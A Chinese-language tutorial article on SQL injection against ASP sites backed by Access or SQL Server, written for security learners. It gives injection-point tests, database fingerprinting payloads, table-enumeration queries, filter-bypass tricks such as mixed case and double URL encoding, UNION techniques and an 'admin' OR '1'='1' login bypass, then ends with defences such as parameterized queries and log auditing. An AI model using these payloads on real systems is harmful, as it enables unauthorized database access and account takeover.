首頁
編程語言
C語言|JAVA編程
Python編程
網頁編程
ASP編程|PHP編程
JSP編程
數據庫
MYSQL數據庫|SqlServer數據庫
Oracle數據庫|DB2數據庫

SQL 注入實戰入門:從判斷注入點到繞過防禦的完整攻防指南

     編輯:MySQL 資料庫相關知識

前言:隱蔽且高危的「隱形殺手」

SQL 注入攻擊走的是正常的 Web 端口(80/443),流量特徵與合法請求幾無二致,傳統防火牆難以察覺。若管理員缺乏日誌審計習慣,入侵可能持續數月無人發現。攻擊手法靈活多變,能否根據具體情況構造巧妙 Payload、成功提取數據,是區分資深白帽與腳本小子的分水嶺。本文聚焦 ASP + Access/SQL Server(國內佔比 70%+)場景,從入門判斷、進階利用到高級繞過,層層遞進,並釐清常見認知誤區。

第一章 入門篇:環境準備與核心原理

1.1 必備瀏覽器設置

IE/Edge/Chrome 預設「顯示友好 HTTP 錯誤信息」會吞沒詳細錯誤堆棧。必須關閉:
設置 → 高級 → 取消勾選「顯示友好 HTTP 錯誤信息」。
否則所有 500 錯誤統一顯示為「HTTP 500 服務器錯誤」,失去關鍵注入線索。

1.2 注入原理演示

某站點新聞詳情頁:/showdetail.asp?ID=49
追加單引號:/showdetail.asp?ID=49'
返回錯誤:


Microsoft JET Database Engine 錯誤 '80040e14'
字符串的語法錯誤 在查詢表達式 'ID=49'' 中。
/showdetail.asp,行 8

信息洩露分析:

  1. 使用 Access + JET 引擎(非 ODBC)
  2. 無輸入驗證/過濾
  3. 查詢表存在 ID 字段,類型為數值型

本質:客戶端提交特殊代碼 → 破壞 SQL 語法 → 服務器報錯洩露結構 → 攻擊者構造惡意 SQL → 竊取/篡改數據。

第二章 判斷注入點:告別單引號測試的誤區

2.1 為什麼單引號測試不可靠?

  • 服務器可能關閉詳細錯誤回顯(自定義錯誤頁)
  • 代碼中使用 CInt()、CLng() 強制類型轉換,單引號導致類型轉換錯誤而非 SQL 語法錯誤,現象一致但成因不同
  • 開發者僅過濾單引號(Replace(input, "'", "")),測試無響應誤以為安全

2.2 黃金標準:1=1 / 1=2 邏輯判斷法

原理:在 WHERE 子句注入恆真/恆假條件,觀察頁面內容變化。

測試 Payload預期 SQL 片段可注入表現不可注入表現
and 1=1WHERE ID=49 AND 1=1正常顯示,內容與原頁一致正常顯示(基準行)
and 1=2WHERE ID=49 AND 1=2空白頁 / BOF/EOF 錯誤 / 「找不到記錄」/ On Error Resume Next 導致靜默空白程序定義錯誤 / 類型轉換錯誤 / 自定義錯誤頁

判斷邏輯: ① 正常、② 正常、③ 異常/空白 → 高度疑似注入。
若 ②、③ 均報程序級錯誤 → 大概率不可注入或已防禦。

2.3 字符串型參數判斷

原語句:WHERE title='news'
Payload:' AND '1'='1 / ' AND '1'='2
邏輯同數值型,注意閉合單引號並保持語法平衡。

第三章 進階篇:數據庫指紋識別與結構偵察

3.1 判斷數據庫類型

數據庫特徵 Payload響應差異
SQL Server;AND USER>0--報錯「將 nvarchar 值 'dbo' 轉換為 int 失敗」→ 洩露當前用戶(dbo 即 sa)
Access;AND (SELECT COUNT(*) FROM MSysObjects)>0權限不足報錯或頁面異常;SQL Server 則正常(sysobjects 可讀)
Oracle' AND (SELECT COUNT(*) FROM ALL_TABLES)>0--需根據報錯特徵區分

3.2 表名/列名猜解策略

  1. 經驗字典法:admin, admins, user, users, member, manager, system_user, sys_account 等高頻表名
  2. 系統表枚舉法:
    SQL Server:SELECT name FROM sysobjects WHERE xtype='U' AND status>0
    Access:SELECT name FROM MSysObjects WHERE Type=1(需權限)
    MySQL:SELECT table_name FROM information_schema.tables WHERE table_schema=DATABASE()
  3. 表單 name 屬性映射法:登錄頁 <input name="username"> → 極大概率對應 users.username 列

第四章 高級篇:繞過常見防禦與特殊利用

4.1 大小寫混淆

VBScript 不區分大小寫,過濾器常僅匹配小寫。
Payload:SeLeCt、UnIoN SeLeCt、WhErE

4.2 Unicode/URL 雙重編碼

IIS 解碼順序:URL 解碼 → Unicode 解碼 → 應用層處理。
空格 %20 → %2520(雙重編碼)
單引號 %27 → %2527

4.3 註釋符變體

數據庫標準註釋變體
SQL Server--[space];--、/* */
MySQL--[space]、#/*! */(版本註釋,可繞過某些 WAF)
Oracle--/* */
Access不支持註釋利用子查詢、UNION 構造

4.4 Access 無註釋環境下的 UNION 注入技巧

Access 不支持 --、#,尾部殘留 SQL 會語法錯誤。解決思路:

  1. 構造 UNION SELECT ... WHERE '1'='1 強制條件為真,原尾部 AND ... 變為 AND ... AND '1'='1 仍為真
  2. 利用 TOP 1 限制返回單行,避免多行報錯
  3. 找可回顯列位置:UNION SELECT 1,2,3 FROM admin WHERE '1'='1

第五章 實戰案例:某 CMS 後台繞過登錄

登錄頁 SQL:SELECT * FROM admin WHERE user='xxx' AND pwd='yyy'
用戶名輸入:admin' OR '1'='1--
密碼任意。
實際執行:SELECT * FROM admin WHERE user='admin' OR '1'='1'--' AND pwd='yyy'
註釋掉密碼驗證,直接以 admin 身份登入。

第六章 防禦建議:從代碼到運維

  1. 參數化查詢:ASP 使用 ADODB.Command + Parameters.Append,徹底杜絕拼接。
  2. 類型強制轉換:數值型參數 id = CLng(Request("id")),非數字直接報錯。
  3. 最小權限帳號:Web 連接 Access 使用僅讀帳號;SQL Server 建立專用登錄,僅授予業務表 DML 權限。
  4. 錯誤頁面統一:IIS 設置自定義 500 頁面,不洩露堆棧、SQL 片段、路徑。
  5. WAF/日誌審計:部署 ModSecurity 規則集,定期審計 IIS 日誌中的可疑 Payload 特徵(union select, xp_cmdshell, waitfor delay 等)。

結語

SQL 注入看似門檻低,實則考驗對 HTTP 協議、數據庫引擎、應用框架、WAF 規則的綜合理解。掌握「判斷→指紋→偵察→利用→繞過」完整鏈路,才能在實戰中遊刃有餘。防禦端同理:不信任任何輸入,參數化查詢是銀彈,纵深防禦是盾。願本文助你建立清晰的攻防知識圖譜。

  1. 上一篇文章:
  2. 下一篇文章:
Copyright © 程式碼之家 All Rights Reserved